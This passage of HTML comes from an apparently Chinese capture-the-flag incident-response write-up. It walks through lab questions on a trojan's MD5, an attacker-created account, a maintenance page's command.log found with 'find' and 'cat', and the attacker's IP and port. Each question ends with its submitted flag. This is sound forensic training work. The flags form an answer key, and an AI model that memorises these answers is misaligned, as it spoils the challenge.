src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-828\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-505-1024x337.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"337\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-505-1024x337.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-829\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u8fdb\u884c\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n<p>palu{\/admin\/parloo}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">17.\u63d0\u4ea4\u8fdb\u6e90\u673a\u5668\u4e2d\u6076\u610f\u7a0b\u5e8f\u7684MD5\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4\u3002flag\u683c\u5f0f\u4e3apalu[MD5\u5c0f\u5199}<\/h2>\n\n\n\n<p>\u8d44\u4ea7\u56fe\u4e2d\u660e\u786e\u544a\u8bc9\u4e86\u8fd1\u6e90\u673a\u5668<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-506.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"970\" height=\"720\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-506.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-830\"  sizes=\"auto, (max-width: 970px) 100vw, 970px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-507-1024x586.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"586\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-507-1024x586.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-831\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fdb\u5165<\/p>\n\n\n\n<p>\u8fd9\u4e2a\u662f\u4e2a\u6728\u9a6c\u75c5\u6bd2 \u6240\u4ee5\u8fd9\u4e2a\u5f88\u6709\u53ef\u80fd\u5c31\u662f\u6211\u4eec\u7684\u76ee\u6807<\/p>\n\n\n\n<p>\u641c\u7d22\u4e00\u4e0b\u5c31\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e2a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-508-1024x609.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"609\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-508-1024x609.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-832\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-509-1024x615.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"615\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-509-1024x615.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-833\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u76f4\u63a5\u590d\u5236\u5230\u684c\u9762\u4e0a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-510-1024x549.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"549\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-510-1024x549.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-834\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u626b\u63cf<\/p>\n\n\n\n<p>palu{0f80a82621b8c4c3303d198d13776b34}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">18.\u63d0\u4ea4\u653b\u51fb\u8005\u7559\u4e0b\u7684\u6076\u610f\u8d26\u6237\u540d\u79f0md5\u540e\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4\u3002 \u683c\u5f0f\u4e3apalu{md5{xxxxx}}<\/h2>\n\n\n\n<p>\u8fdb\u5165\u8fd1\u6e90\u9776\u673a\u5c31\u5df2\u7ecf\u770b\u5230\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-511.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"959\" height=\"784\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-511.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-835\"  sizes=\"auto, (max-width: 959px) 100vw, 959px\" \/><\/div><\/figure>\n\n\n\n<p>md5 hack\u52a0\u5bc6\u4e00\u4e0b\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-512-1024x381.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"381\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-512-1024x381.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-836\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{d78b6f30225cdc811adfe8d4e7c9fd34}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">19.\u63d0\u4ea4\u5185\u90e8\u7fa4\u4e2d\u7559\u4e0b\u7684flag\u5e76\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u8fdb\u5165\u8fd1\u6e90\u9776\u673a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-513.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"345\" height=\"595\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-513.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-837\"  sizes=\"auto, (max-width: 345px) 100vw, 345px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-514-1024x624.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"624\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-514-1024x624.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-838\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-515.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"484\" height=\"600\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-515.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-839\"  sizes=\"auto, (max-width: 484px) 100vw, 484px\" \/><\/div><\/figure>\n\n\n\n<p>palu{nbq_nbq_parloo}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">20.\u8bf7\u63d0\u4ea4\u653b\u51fb\u8005\u4f7f\u7528\u7ef4\u62a4\u9875\u9762\u83b7\u53d6\u5230\u7684\u654f\u611f\u5185\u5bb9\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u7ef4\u62a4\u9875\u9762\u5c31\u662f\u4e4b\u524d\u770b\u5230\u7684\uff1a<br><a href=\"http:\/\/192.168.20.103:8080\/admin\/parloo\">http:\/\/192.168.20.103:8080\/admin\/parloo<\/a><br>\u8fd8\u8981\u7ed3\u5408\u4e4b\u524d\u5728gitea\u770b\u5230\u7684\u7ef4\u62a4\u9875\u9762\u7684\u6e90\u7801<br>\u7ef4\u62a4\u9875\u9762\u6e90\u7801\u4e2d\u5199\u4e86\u65e5\u5fd7\u4fdd\u5b58\u5230command.log\u9875\u9762<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-516-1024x840.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"840\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-516-1024x840.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-840\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6211\u4eec\u53bb192.168.20.103\u90a3\u4e2a\u670d\u52a1\u5668\u4e0a\u53bb\u627ecommand.log\u5728\u54ea<\/p>\n\n\n\n<p>\u8fdb\u5165parloohack\u7528\u6237\u76ee\u5f55\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-517.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1020\" height=\"166\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-517.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-841\"  sizes=\"auto, (max-width: 1020px) 100vw, 1020px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>find \/ -name command.log<\/code><\/pre>\n\n\n\n<p>\u6839\u636e\u8fd9\u4e2a\u76ee\u5f55\u67e5\u627e\u770b\u770b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-518.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"609\" height=\"111\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-518.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-842\"  sizes=\"auto, (max-width: 609px) 100vw, 609px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u8fd9\u4e2aparloo\u76ee\u5f55\u4e0b\u9762\u6709\u8fd9\u4e2a\u6587\u4ef6\u65e5\u5fd7<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/opt\/parloo\/command.log\n\u8fd9\u4e2a\u91cc\u9762\u6ca1\u6709\u4e1c\u897f<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code> cat \/var\/log\/parloo\/command.log<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-519.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1006\" height=\"530\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-519.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-843\"  sizes=\"auto, (max-width: 1006px) 100vw, 1006px\" \/><\/div><\/figure>\n\n\n\n<p>\u7ffb\u7ffb\u627e\u627e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-520-1024x726.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"726\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-520-1024x726.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-844\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u627e\u5230\u7b54\u6848 palu{Server_Parloo_2025}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">21.\u63d0\u4ea4\u83b7\u53d6\u654f\u611f\u5185\u5bb9IP\u7684\u7b2c\u4e00\u6b21\u6267\u884c\u547d\u4ee4\u65f6\u95f4\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4\u3002flag\u683c\u5f0f\u4e3apalu[xxxx-xx-xx:xx:xx:xx}<\/h2>\n\n\n\n<p>\u6839\u636e\u4e0a\u4e00\u9898\u67e5\u67e5192.168.20.1\u7684IP\u5730\u5740 \u6700\u65e9\u63d0\u4ea4\u7684\u65f6\u95f4\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-521-1024x523.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"523\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-521-1024x523.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-845\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5927\u6982\u53ef\u4ee5\u7406\u89e3\u6210\u653b\u51fb\u8005\u4f7f\u7528\u7ef4\u62a4\u9875\u9762\u7b2c\u4e00\u6b21\u547d\u4ee4\u6267\u884c\u7684\u65f6\u95f4<\/p>\n\n\n\n<p>2025-05-04 15:30:38<br>palu{2025-05-04:15:30:38}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">22.\u63d0\u4ea4\u653b\u51fb\u8005\u4f7f\u7528\u7684\u6076\u610fip\u548c\u7aef\u53e3flag\u683c\u5f0f\u4e3apalu[xx.xx.xx.xx:xxxx}<\/h2>\n\n\n\n<p>\u8fd8\u662f\u539f\u6765\u7684\u90a3\u4e2a\u65e5\u5fd7\u5c31\u53ef\u4ee5\u770b\u5230\u6076\u610fIP\u7aef\u53e3<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-522-1024x721.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"721\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-522-1024x721.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-846\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{10.12.12.13:9999}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">23.\u63d0\u4ea4\u91cd\u8981\u6570\u636e\u7684\u540d\u6587\u5185\u5bb9\u4f5c\u4e3aflag\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u8fdb\u6e90\u673a\u5668\u8fdb\u5165\u5c31\u6709\u90a3\u4e2a\u91cd\u8981\u6570\u636e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-523-1024x792.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"792\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-523-1024x792.png\" 